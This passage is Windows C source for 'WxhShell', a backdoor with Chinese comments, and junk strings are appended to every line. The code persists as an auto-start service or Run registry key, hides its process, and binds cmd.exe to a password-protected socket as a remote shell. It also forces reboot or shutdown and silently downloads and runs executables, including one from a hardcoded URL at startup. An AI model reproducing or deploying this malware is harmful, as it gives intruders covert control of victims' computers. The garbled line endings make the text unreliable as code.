    } HUx`RX0>  
  // 关机 8!2)=8|f  
  case 'd': { sOLh'x f.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2_w pj;E  
    if(Boot(SHUTDOWN)) *HD(\;i-$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M`&t=0D  
    else { ZN}`A7  
    closesocket(wsh); l!,tssQ  
    ExitThread(0); ZD&F ,2v  
    } x:)H Ii q/  
    break; +^BTh rB  
    } 1J!v;Y\\  
  // 获取shell LLgw1 @-D  
  case 's': { No7-fX1B  
    CmdShell(wsh); ;{I9S'  
    closesocket(wsh); @}q, ';H7  
    ExitThread(0); g@'XmT="_  
    break; }`w(sec:3  
  } %NkiYiA  
  // 退出 fS"u"]j*e  
  case 'x': { Nw. )O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ] 0R*F30]  
    CloseIt(wsh); Y!M0JSaM  
    break; % G!!0V!  
    } *P' X[z  
  // 离开 p7YYAh@x\  
  case 'q': { k1z`92"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @K]`!=vUk  
    closesocket(wsh); EGD{nE  
    WSACleanup(); @{@b^tk  
    exit(1); eX"%b(;s  
    break; "_UnN}Uk  
        } j/TnKO  
  } 51ViJdZ  
  } vGi<" Sn7  
X4o#kW  
  // 提示信息 ~3s ?.[}d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [x)T2sA  
} ;> 7~@ K  
  } HB )+.e  
"[ S[vkI  
  return; x;W!sO@$  
} qXtC7uNj$  
cpk\;1&t  
// shell模块句柄 =Z.0-C>W  
int CmdShell(SOCKET sock) ?eTZ>o.p/  
{ p.:|Z-W$  
STARTUPINFO si; RZxh"lIo  
ZeroMemory(&si,sizeof(si)); a?W5~?\9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eztK`_n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QuS=^,]  
PROCESS_INFORMATION ProcessInfo; 9po=[{Bp  
char cmdline[]="cmd"; {e&fBX6;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B9"d7E#wHF  
  return 0; `RY}g;  
} DQ0S]:tC  
ZW?h\0Hh  
// 自身启动模式 -9 LvAV>  
int StartFromService(void) \8#[AD*@s2  
{ IS8 sJ6")  
typedef struct V~PGmn[V  
{ ]n4PM=hz  
  DWORD ExitStatus; ;C-ds  
  DWORD PebBaseAddress; }h1BAKg  
  DWORD AffinityMask; {eU>E /SQ  
  DWORD BasePriority; p@78Xmu?q  
  ULONG UniqueProcessId; ddL3wQ  
  ULONG InheritedFromUniqueProcessId; ;X+0,K3c  
}   PROCESS_BASIC_INFORMATION; ubB1a_7  
7B0`.E^~  
PROCNTQSIP NtQueryInformationProcess; ox SSEs  
^X_ ;ZLg.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JX'}+.\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i3 XtrP""  
0-PT%R  
  HANDLE             hProcess; q2#Ebw %]  
  PROCESS_BASIC_INFORMATION pbi; %rB,Gl:)g  
1a9' *[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [`tOhL  
  if(NULL == hInst ) return 0; RV@B[:  
GQg 2!s(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DvhF CA}z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1[OY- G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D;JZ0."  
kQU4s)J  
  if (!NtQueryInformationProcess) return 0; ~ tR!hc}  
HCr}|DxyK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ip{hg,>  
  if(!hProcess) return 0; # N3*SE  
k|xmZA*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DzhLb8k  
* 0K]/tn<  
  CloseHandle(hProcess); 9V)cf  
)*%uG{h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %o9mG<.T  
if(hProcess==NULL) return 0; e| C2/U-  
hcU^!mp  
HMODULE hMod; CXn?~m&K  
char procName[255]; EE09 Er %\  
unsigned long cbNeeded; X,@nD@  
@j\;9>I/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eAO@B  
G>^= Bm_$  
  CloseHandle(hProcess); q h bagw~  
.\H-?6R^  
if(strstr(procName,"services")) return 1; // 以服务启动 C=;}7g  
!rgXB(  
  return 0; // 注册表启动 zx)}XOYf  
} <O) if^  
L]=mQo  
// 主模块 s j-oaWt  
int StartWxhshell(LPSTR lpCmdLine) =WN8> <K!  
{ $o9^b Z  
  SOCKET wsl; :hO B  
BOOL val=TRUE; y<gRl/e  
  int port=0; [*K9V/  
  struct sockaddr_in door; y=8KNseW|  
gs}&a3d7k  
  if(wscfg.ws_autoins) Install(); ?b d&Av  
/slCK4vFc  
port=atoi(lpCmdLine); H1~9f {  
DB"z93Mr<K  
if(port<=0) port=wscfg.ws_port; ,P`:`XQ>_B  
[)}`w;#  
  WSADATA data; UptKN|S&V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;t N@  
ci%$So 2#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CZy!nR!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _7v4S/V  
  door.sin_family = AF_INET; R(> oyxA[F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5 3+C;]J  
  door.sin_port = htons(port); ixy:S1 pI  
o7tlkSZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z xgDaT  
closesocket(wsl); &B8x0 yi  
return 1; EP4?+"Z  
} g:^Hex?Yfd  
&iuMB0rbu  
  if(listen(wsl,2) == INVALID_SOCKET) { Yk{4 3yw  
closesocket(wsl); mr>E'd.'  
return 1; rf/]VAK  
} 'D+njxCk.A  
  Wxhshell(wsl); $XyDw|z[  
  WSACleanup(); %7[d5[U~ZA  
!K.)Qr9V  
return 0; @B)5Ho  
v*y,PY1*  
} 6X2w)cO  
SP  =8v0  
// 以NT服务方式启动 , Sf:R4=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c#9=o;1El  
{ 3DjX0Dx/l  
DWORD   status = 0; 4d`f?8vS  
  DWORD   specificError = 0xfffffff; ktY  
DBfq9%J _  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &4t=Y`]SL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }P!:0w3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?S)Pv53>}  
  serviceStatus.dwWin32ExitCode     = 0; 4fL>Ou[YuX  
  serviceStatus.dwServiceSpecificExitCode = 0; \J~@r1  
  serviceStatus.dwCheckPoint       = 0; 7CU<R9Kl  
  serviceStatus.dwWaitHint       = 0; 6C_H0a/h&  
j%S} T)pX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lE bV)&'  
  if (hServiceStatusHandle==0) return; tTq2 AR|  
+s+E!=s  
status = GetLastError(); d<_IC7$u>  
  if (status!=NO_ERROR) rb.:(d)T  
{ )\e0L/K@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LK|rLoia:  
    serviceStatus.dwCheckPoint       = 0; xs)SKG*  
    serviceStatus.dwWaitHint       = 0; O8*yho  
    serviceStatus.dwWin32ExitCode     = status; 1OFrxSg  
    serviceStatus.dwServiceSpecificExitCode = specificError; #3C] "  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \!)1n[N  
    return; ^x >R #.R  
  } RLh%Y>w  
#FGj)pu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MR":a T  
  serviceStatus.dwCheckPoint       = 0; [r1\FF@v,  
  serviceStatus.dwWaitHint       = 0; > W^"*B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )P W Zc?M  
} w`Cs,  
{bNKyT  
// 处理NT服务事件,比如:启动、停止 n7#}i2:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R4f_Kio  
{ G7#<Jo<8  
switch(fdwControl) xCU pMB7  
{ ?D M!=.]  
case SERVICE_CONTROL_STOP: AbMf8$$3SH  
  serviceStatus.dwWin32ExitCode = 0; k _Bz@^J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @vi;P ^1!  
  serviceStatus.dwCheckPoint   = 0; F^DDN7AKH  
  serviceStatus.dwWaitHint     = 0; k+u L^teyS  
  { (ap,3$ hS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;:~-=\  
  } l\bgp3.+  
  return; CDFX>>N  
case SERVICE_CONTROL_PAUSE: ;3O=lo:$~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^hwTnW9Z1:  
  break; ;`Wh^Qgi  
case SERVICE_CONTROL_CONTINUE: }@A{'q5y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4:s!mHcz  
  break; .Nd_p{   
case SERVICE_CONTROL_INTERROGATE: $0 ~_)$i :  
  break; O1z3(  
}; ?Hf8<C}3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @3Mp>u/  
} <QRRD*\  
uWrvkLGN  
// 标准应用程序主函数 Qvhy9Cr;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nxx&aq(._  
{ u`Zj~ t  
$@ZrGT  
// 获取操作系统版本 3B ;aoejHm  
OsIsNt=GetOsVer(); sTzt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ";/,FUJJ  
8|S}!P"  
  // 从命令行安装 X_J(P?  
  if(strpbrk(lpCmdLine,"iI")) Install(); $-BM`Zt0;  
}FAO.  
  // 下载执行文件 D]5cijO6  
if(wscfg.ws_downexe) { 5uvFCY./c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) II}3w#r4  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8CGjI?j  
} |D[4 G6&  
iJEKLv  
if(!OsIsNt) { MryY<s  
// 如果时win9x,隐藏进程并且设置为注册表启动 5tu 4uYp;  
HideProc(); Ov~>* [  
StartWxhshell(lpCmdLine); )tR@\G>%  
} sy+tLDMd  
else %1PNP<3r0  
  if(StartFromService()) :J;*]o:  
  // 以服务方式启动 {$qLMx';  
  StartServiceCtrlDispatcher(DispatchTable); +m1y#|08  
else v^Pjvv=  
  // 普通方式启动 MN. $a9m  
  StartWxhshell(lpCmdLine); N:e5=;6s  
:"~n` Q2[  
return 0; Q$=X ?{  
} $n9Bp'<  
gK>aR ^*  
T.#Vma  
L 3^+`e  
=========================================== A{KF<Omu  
U=\!`_f':  
kmF@u@5M  
>_LZD4v! <  
Z'4oE )  
iz\GahK  
" 222Mm/QN  
bZzB\FB~  
#include <stdio.h> _(J/$D  
#include <string.h> )Vnqz lI5  
#include <windows.h> 2:Q2w3Xe  
#include <winsock2.h> tG(!d$^  
#include <winsvc.h> )U u! x6  
#include <urlmon.h> )_Wo6l)i  
uO}UvMW  
#pragma comment (lib, "Ws2_32.lib") ^,N=GZRWW  
#pragma comment (lib, "urlmon.lib") dG*2-v^G  
=?gDM[t^  
#define MAX_USER   100 // 最大客户端连接数 B|6_4ry0U  
#define BUF_SOCK   200 // sock buffer QwgP+ M+  
#define KEY_BUFF   255 // 输入 buffer "1%YtV5R{  
EnnE@BJ"  
#define REBOOT     0   // 重启 u40<>A  
#define SHUTDOWN   1   // 关机 f" g-Hbl5  
t7qY!S (  
#define DEF_PORT   5000 // 监听端口 8UN7(J  
I`FqZw  
#define REG_LEN     16   // 注册表键长度 DE_ <LN  
#define SVC_LEN     80   // NT服务名长度 h}c R >  
=^S1+B MY-  
// 从dll定义API w{5v*SHl}`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %XAF"J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  Oa/#2C~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Dt\rMSjZ9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GYK&QYi,  
!JWZ}u M6  
// wxhshell配置信息 UbSAyf  
struct WSCFG { ftwn<B  
  int ws_port;         // 监听端口 ,f?+QV\T.  
  char ws_passstr[REG_LEN]; // 口令 f{eMh47 NC  
  int ws_autoins;       // 安装标记, 1=yes 0=no U *']7-  
  char ws_regname[REG_LEN]; // 注册表键名 k86j& .m_  
  char ws_svcname[REG_LEN]; // 服务名 55#s/`gd)^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B~t[Gy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &d/x1=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  El:&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2qxede  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {m7>9{`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "`&1"*  
9s@$P7N5B  
}; .sR=Mf7T  
Tkf JC|6  
// default Wxhshell configuration k@/s-^ry3  
struct WSCFG wscfg={DEF_PORT, |w w@V<'/#  
    "xuhuanlingzhe", 1a>TJdoa  
    1, Q% LQP!Kg  
    "Wxhshell", UUaC@Rs2  
    "Wxhshell", /yNLFL"  
            "WxhShell Service", yV/A%y-P  
    "Wrsky Windows CmdShell Service", # 8fq6z|JZ  
    "Please Input Your Password: ", @Rp#*{  
  1, Nr#" 5<W  
  "http://www.wrsky.com/wxhshell.exe", yITL;dBy  
  "Wxhshell.exe" U9eb&nd  
    }; aokV'6  
&yN/ AY`U  
// 消息定义模块 HH3Ln+AWg_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7ajkp+E6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b!3Y<D*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {Jn*{5tZ>  
char *msg_ws_ext="\n\rExit."; vm Y*K  
char *msg_ws_end="\n\rQuit."; 1NQstmd{  
char *msg_ws_boot="\n\rReboot..."; N!iugGL  
char *msg_ws_poff="\n\rShutdown..."; 5}MjS$2og  
char *msg_ws_down="\n\rSave to "; i]M:ntB"  
* j]"I=D  
char *msg_ws_err="\n\rErr!"; 2GC{+*  
char *msg_ws_ok="\n\rOK!"; $ =GnoS  
TM2pE/P  
char ExeFile[MAX_PATH]; %6eQ;Rp*  
int nUser = 0; +(l(|lQy$  
HANDLE handles[MAX_USER]; >4&s7][Q|  
int OsIsNt; NT&sk rzW  
C|hD^m  
SERVICE_STATUS       serviceStatus; 1}Mdo&:t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fA{t\  
.tH[A[/1 a  
// 函数声明 . \:{6_  
int Install(void); B(B77SOb  
int Uninstall(void); .qGfLvx%  
int DownloadFile(char *sURL, SOCKET wsh); gOL-b9W  
int Boot(int flag); FvVR \a  
void HideProc(void); N~t4qlC/  
int GetOsVer(void); w_h}c$;GK  
int Wxhshell(SOCKET wsl); CPt62j8  
void TalkWithClient(void *cs); 1b4/  
int CmdShell(SOCKET sock); #9FY;~  
int StartFromService(void); NUp,In_  
int StartWxhshell(LPSTR lpCmdLine); Cr#Z.  
i^2-PKPg{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lPO +dm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uEX+j  
?&rt)/DV,  
// 数据结构和表定义 M'-Z"  
SERVICE_TABLE_ENTRY DispatchTable[] = V4>qR{5  
{ Hu-Y[~9^L:  
{wscfg.ws_svcname, NTServiceMain}, LCouDk(=`  
{NULL, NULL} NGq@x%T  
}; lz >>{  
)E>nr Z  
// 自我安装 ~D1&CT#s  
int Install(void) |w3b!  
{ 2SV}mK U  
  char svExeFile[MAX_PATH]; 6<qVeO&uZ  
  HKEY key; 9XEP:}5,  
  strcpy(svExeFile,ExeFile); bji^b@ us_  
 8PXjdHR  
// 如果是win9x系统,修改注册表设为自启动 3]cW08"c  
if(!OsIsNt) { OuuN~yC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |(77ao3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Iq["(!7E5  
  RegCloseKey(key); SL ) ope  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i4s_:%+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @4xV3Xkf&C  
  RegCloseKey(key); .bloaeu-  
  return 0; :Cdqj0O3u  
    }  J*FUJT  
  } EPu-oE=HW4  
} y13Y,cz~B  
else { 5[5|_H+0  
0LD$"0v/C3  
// 如果是NT以上系统,安装为系统服务 L=#nnj-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); = iXHu *g  
if (schSCManager!=0) #WqpU.  
{ 5R}K8"d  
  SC_HANDLE schService = CreateService m]D3ec\K'  
  ( 8K@>BFk1.  
  schSCManager, w8iXuRv  
  wscfg.ws_svcname, /*kc|V  
  wscfg.ws_svcdisp, i2&I<:  
  SERVICE_ALL_ACCESS, J@lQzRqRb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "eG@F  
  SERVICE_AUTO_START, 0Q4i<4 XW  
  SERVICE_ERROR_NORMAL, qayM 0i>>  
  svExeFile, 7I4<Dj  
  NULL, %ZbdWHO#  
  NULL, )~2~q7  
  NULL, 7GG:1:2+>  
  NULL, >O$ JS,  
  NULL y)*W!]:7^>  
  ); u0{R;)  
  if (schService!=0) z`esst\aV  
  { rJKac"{  
  CloseServiceHandle(schService); ~`c(7  
  CloseServiceHandle(schSCManager); T:=ST3#m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =;A >1g$  
  strcat(svExeFile,wscfg.ws_svcname); oo-O>M#5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KJP}0|[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (\M#Ay t)  
  RegCloseKey(key); Mfinh@K,  
  return 0; l?<DY$H 0  
    } 'dvi@Jx  
  } J|=0 :G  
  CloseServiceHandle(schSCManager); 5`\"UC7?%  
} /hp [ +K  
} %Kzu&*9Hb  
Vf#g~IOI  
return 1; o*sss  
} [!ilcHE)  
+%  !'~  
// 自我卸载 ,,=VF(@G  
int Uninstall(void) F!7\Za,  
{ J?"v;.K|hU  
  HKEY key; X+[h]A  
^d@ME<mb  
if(!OsIsNt) { ifI0s)Pn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FFq8LM8  
  RegDeleteValue(key,wscfg.ws_regname); SbXV'&M2AT  
  RegCloseKey(key); KD^n7+w%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @fh:lsw  
  RegDeleteValue(key,wscfg.ws_regname); LMHii Os,  
  RegCloseKey(key); ~+S,`8-P  
  return 0; DI0Wk^m  
  } f<y-{.VnN$  
} '_B;e=v`  
} ?*L{xNC#  
else { Z>PS>6  
4QBPN@~t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6Wk9"?+1  
if (schSCManager!=0) noZ!j>f{@l  
{ SQT]'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D%~"]WnZ\Q  
  if (schService!=0) ^TEFKx}PX  
  { szUJh9-  
  if(DeleteService(schService)!=0) { *-X`^R  
  CloseServiceHandle(schService); ;pt.)5  
  CloseServiceHandle(schSCManager); hV}C.- 6h  
  return 0; 5Zuk`%O  
  } ^GnR1.ux  
  CloseServiceHandle(schService); IC:>60A,]  
  } uNf97*~_  
  CloseServiceHandle(schSCManager); e7r3o,!  
} 9c{T|+ ]  
} 5;@2SY7 ,  
js;k,`  
return 1;  N<~LgH  
} 6%Pvh- ~_  
QB"+B]rV  
// 从指定url下载文件 ~A_1he~  
int DownloadFile(char *sURL, SOCKET wsh) 95mwDHbA  
{ p0Pmmp7r  
  HRESULT hr; -,q qQf  
char seps[]= "/"; i hcSSUm  
char *token; nm,(Wdr  
char *file; &mkL4 jXG  
char myURL[MAX_PATH]; ,wZq ~; 2  
char myFILE[MAX_PATH]; 4ufT-&m};s  
4}-G<7*  
strcpy(myURL,sURL); m:Fdgu9  
  token=strtok(myURL,seps); lUIh0%O  
  while(token!=NULL) sspGB>h8l  
  {  y7vA[us  
    file=token; 4m!w<c0NL  
  token=strtok(NULL,seps); } 8[  
  } /^$n&gI  
PQ2rNY6  
GetCurrentDirectory(MAX_PATH,myFILE); a y$CUw  
strcat(myFILE, "\\"); pfQ3Y$z  
strcat(myFILE, file); YBL.R;^v  
  send(wsh,myFILE,strlen(myFILE),0); w1LZ\nA<  
send(wsh,"...",3,0); U>0bgL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y*!8[wASHq  
  if(hr==S_OK) l p|`n  
return 0; qNWSDZQ  
else 5a|{ytP   
return 1; i,2eoM)FB  
"a-;?S&  
} #giH`|#d  
pP%9MSCi  
// 系统电源模块 <07]w$m/  
int Boot(int flag) Mtc  -  
{ ]fSpG\yU  
  HANDLE hToken; e_}tK1XY  
  TOKEN_PRIVILEGES tkp; |3BxNFe`%  
xAr&sGMA  
  if(OsIsNt) { )JhB!P(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R-tZC9 @  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y1B' _s  
    tkp.PrivilegeCount = 1; S@Aw1i p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z|xgZG{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ec&_&  
if(flag==REBOOT) { Z+_xX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y+eDE:4  
  return 0; |3g'~E?$  
} %$N,6}n  
else { ?3gf)g=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DDj:(I?,w  
  return 0; AWg'J  
} "A0y&^4B@  
  } Bm;: cmB0e  
  else { 9W&nAr  
if(flag==REBOOT) { tB VtIOm9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !Y 9V1oVf"  
  return 0; <j1r6.E)  
} "JE->iD  
else { %~[@5<p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pJIJ"o'>.9  
  return 0; o%*C7bU  
} Y]!&, e,  
} +Jm[IN  
pTT00`R  
return 1; N~P1^x~  
} :q~5Xw/  
VAA="yN  
// win9x进程隐藏模块 <fHN^O0TS  
void HideProc(void) LtPaTe  
{ Hc-up.?v'v  
q2/kegAT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }*S`1IWMj  
  if ( hKernel != NULL ) S~)_=4Z  
  { .)<l69ZD Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \Nk578+AA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sQ+s3x1y  
    FreeLibrary(hKernel); 0"Zxbgu)  
  } ,y@WFRsx  
R ^ZOcONd-  
return; DB}v..  
} *BvdL:t  
^$]iUb{\  
// 获取操作系统版本 Gd$!xN %O  
int GetOsVer(void) /x<uv_"  
{ WJk3*$=  
  OSVERSIONINFO winfo; WJ,?5#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m'M5O@?  
  GetVersionEx(&winfo); VQ8Fs/Zt!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xVRxKM5 {  
  return 1; *P|~v Cnr  
  else P9 y+rF.  
  return 0; 9@}5FoX"  
} P=7X+}@  
^^< C9  
// 客户端句柄模块 yYrFk^  
int Wxhshell(SOCKET wsl) Y#+Ws0wN  
{ S(/ ^_Y  
  SOCKET wsh; +VL:O]`DJ  
  struct sockaddr_in client; )l.AsfW%  
  DWORD myID; ia,5=SKJ  
nm_4E8&X  
  while(nUser<MAX_USER) ^=8/Iw  
{ wd3OuDrU  
  int nSize=sizeof(client);  FjMKb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ev4_}!  
  if(wsh==INVALID_SOCKET) return 1; *9|p}q9n  
2:<H)oB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j& ykce  
if(handles[nUser]==0) f$vU$>+[  
  closesocket(wsh); rjj_]1?K  
else ;- _ZWk]  
  nUser++; %gWQ}QF  
  } YW"uC\kg|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'Ydr_Ses  
JSID@ n<b?  
  return 0; *IIA"tC  
} u6%\ZK._ \  
)&Z`SaoP|J  
// 关闭 socket I8c:U2D  
void CloseIt(SOCKET wsh) .jiJgUa7  
{ ] ^?w0A  
closesocket(wsh); *!E~4z=  
nUser--; %m [l/,2x  
ExitThread(0); bdfs'udt9  
} R0mkEM  
j<`3xd'  
// 客户端请求句柄 `VvQems  
void TalkWithClient(void *cs) #f%fY%5q  
{ mwsdl^c  
apt$e$g  
  SOCKET wsh=(SOCKET)cs; :X:s'I4J D  
  char pwd[SVC_LEN]; 4S4gK   
  char cmd[KEY_BUFF]; G/#m. =t  
char chr[1]; Vbe@S?u-  
int i,j; j@Pd" Z9  
7GS 4gSd3  
  while (nUser < MAX_USER) { 1hSV/%v_  
Z>3m-:-e  
if(wscfg.ws_passstr) { 1.PN_9%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?\(qA+iP0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^Wn+G8n  
  //ZeroMemory(pwd,KEY_BUFF); jatlv/,  
      i=0; )y i~p  
  while(i<SVC_LEN) { LbYIRX  
[9V}>kS)  
  // 设置超时 B#+n$5#FK  
  fd_set FdRead; +-9-%O.(;  
  struct timeval TimeOut; D u T6Od/f  
  FD_ZERO(&FdRead); sv!v`zh  
  FD_SET(wsh,&FdRead); ?k($Tc&Q  
  TimeOut.tv_sec=8; =F}qT|K  
  TimeOut.tv_usec=0; sI h5cT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ul6|LTY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [zXC\)&!  
Gt _tL%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q'4P/2)va  
  pwd=chr[0]; Ryh 0r  
  if(chr[0]==0xd || chr[0]==0xa) { (:O6sTx-hE  
  pwd=0; <&gs)BY  
  break; T>7N "C  
  } m{$}u@a  
  i++; {`e-%<  
    } 7a^D[f0V  
`M{Ne:J  
  // 如果是非法用户,关闭 socket t\'MB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [@JK|50|K  
} OU}eTc(FeC  
DVMdRfA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _0FMwC#DY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e6mm;@F>  
/GM!3%'=  
while(1) { {2m F\A#.  
-84%6p2-  
  ZeroMemory(cmd,KEY_BUFF); R4P&r=?  
>)G[ww[  
      // 自动支持客户端 telnet标准   VBS}2>p  
  j=0; "A&A?%  
  while(j<KEY_BUFF) { \13Q>iAu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *3!r &iY  
  cmd[j]=chr[0]; w!v^6[!  
  if(chr[0]==0xa || chr[0]==0xd) { NZa 7[}H  
  cmd[j]=0; `(`-S md  
  break; JbJ!,86  
  } Kf}*Ij  
  j++; 43-Bx`6\  
    } Bg[yn<) ]  
-Eig#]Se3  
  // 下载文件 =:xX~,qmv  
  if(strstr(cmd,"http://")) { UNwjx7usD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BDzAmrO<  
  if(DownloadFile(cmd,wsh)) =S\^j"  
